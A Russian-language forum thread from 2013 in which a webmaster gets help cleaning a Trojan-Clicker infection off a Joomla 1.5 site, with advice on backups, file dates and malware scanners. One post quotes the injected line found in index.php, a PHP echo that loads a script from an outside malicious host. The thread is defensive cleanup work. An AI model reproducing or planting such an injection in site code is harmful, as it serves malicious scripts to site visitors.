На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?

Джумла 1.5?

Уже несколько тем было здесь.

Смотрите по датам изменений в php и js файлах.

Если бекап чистый восстанавливаться с него и обновляйте до последней версии.

Если бекап не вариант - искать код посторонний и чистить.

---------- Добавлено 29.01.2013 в 23:28 ----------

В помощь:

здесь, тут, там, ну и ещё

---------- Добавлено 29.01.2013 в 23:32 ----------

Заражение давно было?

Прикольно... по Вашим ссылкам:

Запрашиваемый URL-адрес не может быть предоставлен

В запрашиваемом объекте по URL-адресу:

http://joomlaforum.ru/index.php?

PHPSESSID=28b3bc357e38a856b559dfa2065653

33&topic=197284.0

Обнаружена угроза:

объект заражен HEUR:Trojan.Script.Generic

Запрашиваемый URL-адрес не может быть предоставлен

В запрашиваемом объекте по URL-адресу:

http://joomlaforum.ru/index.php/

topic,197284.0.html

Обнаружена угроза:

объект заражен HEUR:Trojan.Script.Generic

---------- Добавлено 30.01.2013 в 10:02 ----------

в index.php нашел и удалил:

echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>';

sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил.

Каспер открывает сайт, но проблема еще осталась:

http://sitecheck.sucuri.net/scanner/?scan=sphinxdahab.com

Где его искать?

Я могу ошибаться, но у вас кажется была подобная проблема, недавно? Или кто то другой тему создавал.

Попробуйте срипт Ай Болит, покажет где и что лежит, вот тема автора, там можно и скачать: /ru/forum/707624

http://sitecheck.sucuri.net/scanner/?scan=sphinxdahab.com

Проблема решена. Если кому не трудно, зайдите пожалуйста на сайт, что скажет Ваш антивирус? Спасибо всем за помощь! С уважением.

KIS 2012 лицуха молчит

Зашел, Аваст молчит и не ругается.

Всем спасибо. Общими усилиями зараза побеждена. Очень признателен за помощь и поддержку.

вот спасибо. у меня тоже кто-то вставляет хрень всякую. отловил с помощью этого сервиса.